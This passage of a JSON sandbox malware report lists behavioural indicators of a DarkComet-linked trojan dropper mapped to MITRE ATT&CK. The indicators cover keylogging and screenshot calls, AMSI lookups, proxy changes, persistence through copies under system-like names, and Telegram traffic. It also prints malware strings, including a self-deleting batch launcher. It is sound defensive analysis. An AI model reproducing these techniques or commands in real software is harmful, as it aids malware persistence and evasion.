\"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"serverDriver.exe\" has type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections\"- Location: [C:\\msComwin\\serverDriver.exe]- [targetUID: 00000000-00006020]\n \"WzVKQIZW.log\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\"- Location: [%USERPROFILE%\\Desktop\\WzVKQIZW.log]- [targetUID: 00000000-00006020]\n \"wXSnOmjT.log\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections\"- Location: [%USERPROFILE%\\Desktop\\wXSnOmjT.log]- [targetUID: 00000000-00006020]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on RAR SFX file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-155","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5010a6b\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"10010aa7\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"580108c8\"\n \"cx\": \"527\"\n \"cy\": \"25\"}\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"580108c8\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":5,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"27\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineA@KERNEL32.dll at 2753-997-0042BEE0\n GetCommandLineW@KERNEL32.dll at 2753-1867-0041B985","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module","description":"GetModuleFileNameA@KERNEL32.dll at 2753-1105-0042825C\n GetModuleFileNameW@KERNEL32.dll at 2753-1867-0041B985","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-131","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\"serverDriver.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" marked \"C:\\msComwin\\__tmp_rar_sfx_access_check_907607826\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" opened \"C:\\msComwin\\__tmp_rar_sfx_access_check_907607826\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WScript.exe\" \"C:\\msComwin\\cZA5KaguC4o8PZDkwLzCSV.vbe\"\" - (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"12/26 Antivirus vendors marked sample as malicious (46% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"14/26 Antivirus vendors marked dropped file \"serverDriver.exe\" as malicious (classified as \"Trojan.MSIL.Basic.8\" with 53% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"14/26 Antivirus vendors marked spawned process \"serverDriver.exe\" (PID: 6020) as malicious (classified as \"Trojan.MSIL.Basic.8\" with 53% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Creates a mutant that is known to appear in malware","description":"\"DCR_MUTEX-\" in \"DarkComet\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":7,"id":"mutant-1","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00003048.00000000.67625.03130000.00000004.mdmp\n Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00003304.00000000.77983.03000000.00000004.mdmp\n 00000000-00003688.00000001.78124.02920000.00000004.mdmp\n 00000000-00003688.00000002.80044.02920000.00000004.mdmp\n 00000000-00005720.00000000.77182.CE8C0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains the ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigW\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Reflection.Load\" in \"csrss.exe\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005820.00000000.68069.02BE0000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"bounty-11274888870579111\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"bounty-11274888870579111\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"bounty-11274888870579111\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00003048.00000000.67625.734C1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"bounty-11274888870579111\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000764.00000000.67260.00333000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00000764.00000000.67260.73487000.00000002.mdmp\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system time","description":"Found string \"@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart \"\" \"C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe\"del /a /q /f \"C:\\Users\\iZfmHIc\\AppData\\Local\\Temp\\\\hdvdfARUms.bat\"\" (Indicator: \"w32tm \"; File: \"hdvdfARUms.bat\")\n Found string \"w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul\" (Indicator: \"w32tm \"; File: \"hdvdfARUms.bat\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-519","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$59","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Queries list of installed browsers","description":"\"bounty-11274888870579111.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLIENTS\\STARTMENUINTERNET\\MICROSOFT EDGE\\CAPABILITIES\"; Key: \"\"; Value: \"\")\n \"bounty-11274888870579111.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLIENTS\\STARTMENUINTERNET\\MICROSOFT EDGE\\CAPABILITIES\"; Key: \"HIDDEN\"; Value: \"\")\n \"bounty-11274888870579111.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\CLIENTS\\STARTMENUINTERNET\\MICROSOFT EDGE\\CAPABILITIES\\FILEASSOCIATIONS\"; Key: \"\"; Value: \"\")\n \"bounty-11274888870579111.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLIENTS\\STARTMENUINTERNET\\MICROSOFT EDGE\\CAPABILITIES\\FILEASSOCIATIONS\"; Key: \".VBE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":1,"id":"registry-137","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET HUNTING Telegram API Domain in DNS Lookup\" (SID: 2033966, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)\" (SID: 2033967, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)\" (SID: 2025331, Rev: 4, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$5b","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"serverDriver.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005820)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"serverDriver.exe\" called \"CopyFileW\" to copy C:\\msComwin\\serverDriver.exe to new location C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe (UID: 00000000-00005820)\n \"serverDriver.exe\" called \"CopyFileW\" to copy C:\\msComwin\\serverDriver.exe to new location %USERPROFILE%\\Saved Games\\OSPPSVC.exe (UID: 00000000-00005820)\n \"serverDriver.exe\" called \"CopyFileW\" to copy C:\\msComwin\\serverDriver.exe to new location %PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe (UID: 00000000-00005820)\n \"serverDriver.exe\" called \"CopyFileW\" to copy C:\\msComwin\\serverDriver.exe to new location %WINDIR%\\System32\\wo-SN\\conhost.exe (UID: 00000000-00005820)\n \"serverDriver.exe\" called \"CopyFileW\" to copy C:\\msComwin\\serverDriver.exe to new location C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe (UID: 00000000-00005820)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133560720291875273.5180.DefaultAppDomain.powershell\" - (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"34.117.186.192:443\"\n \"149.154.167.220:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"bounty-11274888870579111\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00000764.00000000.67260.00333000.00000002.mdmp, 00000000-00000764.00000000.67260.73487000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp, 00000000-00003048.00000000.67625.73551000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read PEB structure (dword ptr fs:[00000030h]) (Offset: 160252)","origin":"Binary File","mitre_attack_id":"T1546.010","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Contains the ability to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 736F0000\n \"serverDriver.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 646C0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 646C0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"WScript.Shell.1.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"SELECT * FROM Win32_OperatingSystem\" (Source: bounty-11274888870579111, Indicator: \"select * from win32_operatingsystem\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"csrss.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"bounty-11274888870579111\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"bounty-11274888870579111\" has an executable section named \".text\"\n \"csrss.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"bounty-11274888870579111\" has an writable section named \".data\"\n \"bounty-11274888870579111\" has an writable section named \".didat\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$5d","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.telegram.org\"\n \"ipinfo.io\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$5f","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"serverDriver.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\fqpDjNDbMI\"\n \"serverDriver.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\hdvdfARUms.bat\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lwivwpj0.0am.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_phxgl0j3.c5m.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"bounty-11274888870579111.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"WScript.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"serverDriver.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API 